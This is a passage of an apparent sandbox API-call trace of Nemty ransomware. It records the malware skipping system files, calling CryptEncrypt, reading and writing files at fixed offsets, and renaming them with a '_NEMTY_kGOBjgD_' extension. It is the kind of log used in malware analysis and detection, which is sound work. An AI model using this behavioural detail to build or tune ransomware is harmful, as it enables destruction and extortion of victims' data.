lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0138.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0138.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0138.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404e8 [0138.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0138.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e8 | out: hHeap=0x4f90000) returned 1 [0138.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0138.991] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_divider_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_divider_left.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_divider_left.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_divider_left.png._nemty_kgobjgd_")) returned 0 [0138.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0138.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0138.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0138.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a0 | out: hHeap=0x4f90000) returned 1 [0138.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0138.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0138.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0138.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0138.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0138.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0138.992] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c17071, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c17071, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b73f89f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="settings_box_divider_right.png", cAlternateFileName="")) returned 1 [0138.992] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2=".") returned 1 [0138.992] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="..") returned 1 [0138.992] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="...") returned 1 [0138.992] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="windows") returned -1 [0138.992] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="$RECYCLE.BIN") returned 1 [0138.992] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="rsa") returned 1 [0138.992] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="NTDETECT.COM") returned 1 [0138.992] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="ntldr") returned 1 [0138.992] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="MSDOS.SYS") returned 1 [0138.992] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="IO.SYS") returned 1 [0138.992] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="boot.ini") returned 1 [0138.992] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="boot.ini") returned 1 [0138.992] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="AUTOEXEC.BAT") returned 1 [0138.992] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="ntuser.dat") returned 1 [0138.992] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="desktop.ini") returned 1 [0138.992] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="CONFIG.SYS") returned 1 [0138.992] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="RECYCLER") returned 1 [0138.992] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="BOOTSECT.BAK") returned 1 [0138.992] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="bootmgr") returned 1 [0138.992] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="programdata") returned 1 [0138.992] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="appdata") returned 1 [0138.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0138.992] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_divider_right.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0138.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0138.992] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_divider_right.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_divider_right.png", lpUsedDefaultChar=0x0) returned 30 [0138.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0138.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0138.992] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_divider_right.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0138.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0138.992] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_divider_right.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_divider_right.png", lpUsedDefaultChar=0x0) returned 30 [0138.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0138.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0138.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0138.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0138.993] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_divider_right.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0138.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0138.993] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_divider_right.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_divider_right.png", lpUsedDefaultChar=0x0) returned 30 [0138.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0138.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0138.993] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_divider_right.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0138.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0138.993] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_divider_right.png", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_divider_right.png", lpUsedDefaultChar=0x0) returned 30 [0138.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0138.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0138.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0138.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340120 [0138.993] Sleep (dwMilliseconds=0x5) [0139.010] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x680c150, dwHighDateTime=0x1d561e8)) [0139.010] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x680c150, dwHighDateTime=0x1d561e8)) [0139.010] GetLastError () returned 0x5 [0139.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0139.010] GetLastError () returned 0x5 [0139.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0139.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0139.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0139.010] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0139.010] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0139.011] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0139.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401f8 [0139.011] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401f8, pcchString=0x653e91c | out: pszString="j3GAj6CPFmD/Cg6XtzuBtiiHNsmQszscO5A8sYtJD5oNe4kvzVklZBHSjjGg/NbG\r\nSUO0eBs5eBUq3zvwliM6ctWbou3LKNPVePNSFoPKqc1JZx1vkVpjpNNVhZxx7BkI\r\nIK+oMogTsh5n8Sc3oZ5b4Onp0c6vczF2nOAn6b5eUQ3/U1Rwn/8euSM3b+X+DoMY\r\n+oiWwqrgIxgdmemLYSn2fYbukOcziWp8a/fBNz+65xo5Q/KMgtW3kGNUizBDQSSd\r\nn5XgXyRw1smOVWAPlOPgqbtc5C0a/HjonXuAfh8XjVqEihETL39sd15Pd2x8xOeG\r\nMdLpr/arJzZZ1qADNbltEg==\r\n", pcchString=0x653e91c) returned 1 [0139.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0139.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401f8 | out: hHeap=0x4f90000) returned 1 [0139.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0139.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0139.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401f8 [0139.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0139.011] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_divider_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_divider_right.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0139.011] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0139.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0139.011] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.011] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.020] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.021] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.021] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.021] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.077] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.077] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.077] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.077] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.086] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.086] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.086] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.086] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.096] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.096] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.096] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.096] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.105] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.105] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.105] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.105] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.114] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.114] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.114] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.114] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.156] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.156] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.156] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.156] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.166] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.166] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.166] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.166] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.175] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.175] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.175] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.175] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.185] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.185] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.185] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.185] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.191] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.191] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.191] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.191] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.242] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.242] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401f8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0139.242] CloseHandle (hObject=0xffffffff) returned 0 [0139.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340368 [0139.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0139.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0139.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0139.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0139.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0139.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340440 [0139.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0139.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340440 | out: hHeap=0x4f90000) returned 1 [0139.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0139.242] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_divider_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_divider_right.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_divider_right.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_divider_right.png._nemty_kgobjgd_")) returned 0 [0139.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0139.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340368 | out: hHeap=0x4f90000) returned 1 [0139.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0139.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401f8 | out: hHeap=0x4f90000) returned 1 [0139.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0139.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0139.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0139.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340120 | out: hHeap=0x4f90000) returned 1 [0139.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0139.243] HeapFree (in: 